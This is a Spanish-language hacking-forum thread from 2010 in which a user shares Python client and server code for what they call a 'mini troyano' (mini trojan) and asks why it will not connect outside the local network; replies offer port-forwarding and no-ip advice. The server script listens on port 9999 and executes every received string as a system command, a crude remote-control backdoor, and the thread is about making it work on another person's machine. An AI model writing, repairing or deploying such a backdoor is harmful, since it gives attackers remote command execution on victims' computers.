Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: .:Swik:. en 6 Junio 2010, 17:49 pm



Título: [Python] Ayuda con mini troyano
Publicado por: .:Swik:. en 6 Junio 2010, 17:49 pm
Hola a todos. Estoy intentanto hacer un minitroyano en python pero no se conecta. El caso es que si lo hago en local si me sale. Aqui os dejo el code:

Cliente.py

Código
  1. import socket
  2.  
  3.  
  4. Host = 'XXXXXXXXX'
  5. Port = 9999
  6. Connection = (Host, Port) #Juntamos el Host y el Puerto en una tupla
  7.  
  8. TCP_Socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #Definimos el tipo de Socket, TCP
  9. TCP_Socket.connect(Connection) #Nos connectamos al Host y Puerto de la variable Connection
  10.  
  11. while 1:
  12.    comando = raw_input('>>> ')
  13.    TCP_Socket.send(comando)
  14.    if comando == 'exit':
  15.        break

server
Código
  1. import socket as sc
  2. from os import system as sys
  3.  
  4. server = sc.socket(sc.AF_INET, sc.SOCK_STREAM)
  5. server.bind(('', 9999))
  6. server.listen(1)
  7.  
  8. while 1:
  9.    socket_cliente, datos_cliente = server.accept()
  10.    seguir = True
  11.    while seguir:
  12.        peticion = socket_cliente.recv(XXXXXXX)
  13.        if peticion == 'exit':
  14.            socket_cliente.close()
  15.            seguir = False
  16.        else:
  17.            socket_cliente.send(sys('%s' % peticion))
  18.    break


Título: Re: [Python] Ayuda con mini troyano
Publicado por: Cygog en 6 Junio 2010, 18:02 pm
El code parece que esta bien.. QUizas el problema sea que la maquina remota posee el puerto " 9999 " cerrado..


Título: Re: [Python] Ayuda con mini troyano
Publicado por: .:Swik:. en 6 Junio 2010, 18:20 pm
Que va... Lo estoy probando con un amigo y tiene el puerto abierto...


Título: Re: [Python] Ayuda con mini troyano
Publicado por: Debci en 7 Junio 2010, 22:09 pm
Tienes la IP publica redirecionada a la interna? A mi estas cosas solo me funcionan bien si lo hago un no-ip y modificando la tabla de Hosts!

Saludos